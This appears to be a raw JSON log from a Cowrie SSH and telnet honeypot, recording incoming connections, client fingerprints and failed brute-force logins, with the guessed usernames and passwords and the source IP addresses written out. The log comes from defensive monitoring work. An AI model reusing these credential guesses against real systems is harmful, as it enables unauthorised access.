{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:49.928921Z","src_ip":"139.19.117.129","session":"84e30474c55a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:50.021252Z","src_ip":"139.19.117.129","session":"84e30474c55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:50.023769Z","src_ip":"139.19.117.129","session":"84e30474c55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":55392,"dst_ip":"159.203.135.109","dst_port":22,"session":"271db2fa8ea5","protocol":"ssh","message":"New connection: 45.61.148.179:55392 (159.203.135.109:22) [session: 271db2fa8ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:51.226041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:51.229724Z","src_ip":"45.61.148.179","session":"271db2fa8ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:51.292361Z","src_ip":"45.61.148.179","session":"271db2fa8ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@abc","message":"login attempt [root/1234@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:51.576720Z","src_ip":"45.61.148.179","session":"271db2fa8ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:52.642144Z","src_ip":"45.61.148.179","session":"271db2fa8ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:59.653740Z","src_ip":"139.19.117.129","session":"84e30474c55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":34854,"dst_ip":"159.203.135.109","dst_port":22,"session":"773a398acc88","protocol":"ssh","message":"New connection: 185.113.139.51:34854 (159.203.135.109:22) [session: 773a398acc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:28:18.029602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:28:18.033472Z","src_ip":"185.113.139.51","session":"773a398acc88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:28:18.138040Z","src_ip":"185.113.139.51","session":"773a398acc88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13112002","message":"login attempt [root/13112002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:28:18.588673Z","src_ip":"185.113.139.51","session":"773a398acc88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:28:19.695246Z","src_ip":"185.113.139.51","session":"773a398acc88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00571322441101,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:28:34.186150Z","src_ip":"137.184.5.188","session":"884ff9b6bfea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56428,"dst_ip":"159.203.135.109","dst_port":23,"session":"d66cc3a5ac5f","protocol":"telnet","message":"New connection: 137.184.5.188:56428 (159.203.135.109:23) [session: d66cc3a5ac5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:28:55.270574Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":46294,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e08434bb6f1","protocol":"ssh","message":"New connection: 211.251.245.88:46294 (10.17.0.5:22) [session: 0e08434bb6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:16.739132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:16.743284Z","src_ip":"211.251.245.88","session":"0e08434bb6f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:16.949058Z","src_ip":"211.251.245.88","session":"0e08434bb6f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lucas@2026","message":"login attempt [root/Lucas@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:17.802835Z","src_ip":"211.251.245.88","session":"0e08434bb6f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ab1acb3e71b","protocol":"ssh","message":"New connection: 165.22.184.88:53544 (159.203.135.109:22) [session: 4ab1acb3e71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:18.012720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:18.016991Z","src_ip":"165.22.184.88","session":"4ab1acb3e71b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:18.021406Z","src_ip":"165.22.184.88","session":"4ab1acb3e71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!@#$%^","message":"login attempt [root/password!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:18.036526Z","src_ip":"165.22.184.88","session":"4ab1acb3e71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:19.009245Z","src_ip":"211.251.245.88","session":"0e08434bb6f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:19.042514Z","src_ip":"165.22.184.88","session":"4ab1acb3e71b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":43528,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b9d7eb74ea","protocol":"ssh","message":"New connection: 45.61.148.179:43528 (159.203.135.109:22) [session: 43b9d7eb74ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:32.241119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:32.244287Z","src_ip":"45.61.148.179","session":"43b9d7eb74ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:32.310115Z","src_ip":"45.61.148.179","session":"43b9d7eb74ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QA2ws3ed","message":"login attempt [root/1QA2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:32.624299Z","src_ip":"45.61.148.179","session":"43b9d7eb74ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:33.708690Z","src_ip":"45.61.148.179","session":"43b9d7eb74ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":58672,"dst_ip":"159.203.135.109","dst_port":22,"session":"28cfa29cf203","protocol":"ssh","message":"New connection: 103.86.198.253:58672 (159.203.135.109:22) [session: 28cfa29cf203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:42.170800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:42.174366Z","src_ip":"103.86.198.253","session":"28cfa29cf203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:42.444335Z","src_ip":"103.86.198.253","session":"28cfa29cf203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"1234","message":"login attempt [sammy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:43.544130Z","src_ip":"103.86.198.253","session":"28cfa29cf203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:44.812973Z","src_ip":"103.86.198.253","session":"28cfa29cf203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.78190875053406,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:47.052382Z","src_ip":"137.184.5.188","session":"d66cc3a5ac5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42848,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b9151459e3","protocol":"telnet","message":"New connection: 170.64.224.25:42848 (159.203.135.109:23) [session: c8b9151459e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:53.334707Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57784,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b99786890d","protocol":"ssh","message":"New connection: 91.92.40.176:57784 (10.17.0.5:22) [session: b2b99786890d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:57.806103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:57.810494Z","src_ip":"91.92.40.176","session":"b2b99786890d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:57.891663Z","src_ip":"91.92.40.176","session":"b2b99786890d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testing","message":"login attempt [test/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:58.142165Z","src_ip":"91.92.40.176","session":"b2b99786890d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:29:59.229039Z","src_ip":"91.92.40.176","session":"b2b99786890d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50206,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce25259b2cd","protocol":"ssh","message":"New connection: 103.172.78.219:50206 (10.17.0.5:22) [session: 2ce25259b2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:09.062741Z"}
